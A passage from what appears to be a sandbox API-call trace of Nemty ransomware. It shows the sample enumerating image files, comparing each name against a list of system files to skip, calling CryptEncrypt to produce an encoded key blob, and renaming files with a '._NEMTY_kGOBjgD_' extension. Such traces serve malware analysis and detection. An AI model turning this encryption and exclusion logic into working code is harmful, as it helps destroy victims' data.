lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.160] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.160] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.166] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.166] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0157.166] CloseHandle (hObject=0xffffffff) returned 0 [0157.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0157.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0157.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0157.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0157.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0157.166] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0157.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0157.166] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0157.166] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\43.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\43.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\43.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\43.png._nemty_kgobjgd_")) returned 0 [0157.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0157.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0157.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0157.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0157.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0157.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0157.167] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0157.167] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86ba1175, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86ba1175, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb1e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="44.png", cAlternateFileName="")) returned 1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2=".") returned 1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="..") returned 1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="...") returned 1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="windows") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="$RECYCLE.BIN") returned 1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="rsa") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="NTDETECT.COM") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="ntldr") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="MSDOS.SYS") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="IO.SYS") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="boot.ini") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="boot.ini") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="AUTOEXEC.BAT") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="ntuser.dat") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="desktop.ini") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="CONFIG.SYS") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="RECYCLER") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="BOOTSECT.BAK") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="bootmgr") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="programdata") returned -1 [0157.167] lstrcmpiW (lpString1="44.png", lpString2="appdata") returned -1 [0157.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="44.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="44.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="44.png", lpUsedDefaultChar=0x0) returned 6 [0157.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="44.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="44.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="44.png", lpUsedDefaultChar=0x0) returned 6 [0157.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="44.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.167] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="44.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="44.png", lpUsedDefaultChar=0x0) returned 6 [0157.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="44.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0157.173] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="44.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="44.png", lpUsedDefaultChar=0x0) returned 6 [0157.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0157.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0157.173] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0157.173] Sleep (dwMilliseconds=0x5) [0157.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1155e330, dwHighDateTime=0x1d561e8)) [0157.183] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1155e330, dwHighDateTime=0x1d561e8)) [0157.183] GetLastError () returned 0x5 [0157.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0157.183] GetLastError () returned 0x5 [0157.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0157.183] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0157.183] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0157.184] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0157.184] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0157.184] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0157.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0157.184] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="HUcLYFWIyGRTXZwvZ29de2zsiHVIJMslfq3rSmUn+y2RgXZYotOGSBBRHxLDo1FA\r\nwNPg9BJ/ErEYj5v/gFkc+MgS3/P27W9Pp8wTjSef5v61kUwfNfImIm6/+hBXaOgb\r\neEAx9KmuqAq3TJqo0+weDHLyldEzfVlPQqIr0CYrEtZAFQ6BcxGF50yPFbW4g+0F\r\ngn80cK5TK5lHxlo6s2uUzc4Rqjmu82wOwHirnEbfIngBES6S8TfKk7jPnO8L24i4\r\n6Nm2LT5+5CJG6WLnFd+x49fAH0OaehvuUqA4ymg8Fy/sVOOJFbRfL8u4fQDn0l5e\r\nywDDHplyK7wbc4yv/AE3fA==\r\n", pcchString=0x653e91c) returned 1 [0157.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0157.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.184] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0157.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0157.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0157.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0157.184] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\44.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\44.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0157.184] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0157.184] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0157.184] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.184] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.204] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.204] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.204] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.222] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.222] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.231] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.231] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.250] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.250] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.259] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.259] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.259] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.279] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.285] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.285] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.285] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0157.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0157.291] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0157.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0157.291] CloseHandle (hObject=0xffffffff) returned 0 [0157.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0157.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0157.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0157.291] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0157.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0157.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0157.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0157.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0157.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0157.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0157.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\44.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\44.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\44.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\44.png._nemty_kgobjgd_")) returned 0 [0157.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0157.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0157.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0157.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0157.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0157.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0157.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0157.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0157.291] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86bc72d2, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86bc72d2, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2aebb9c3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1551, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="45.png", cAlternateFileName="")) returned 1 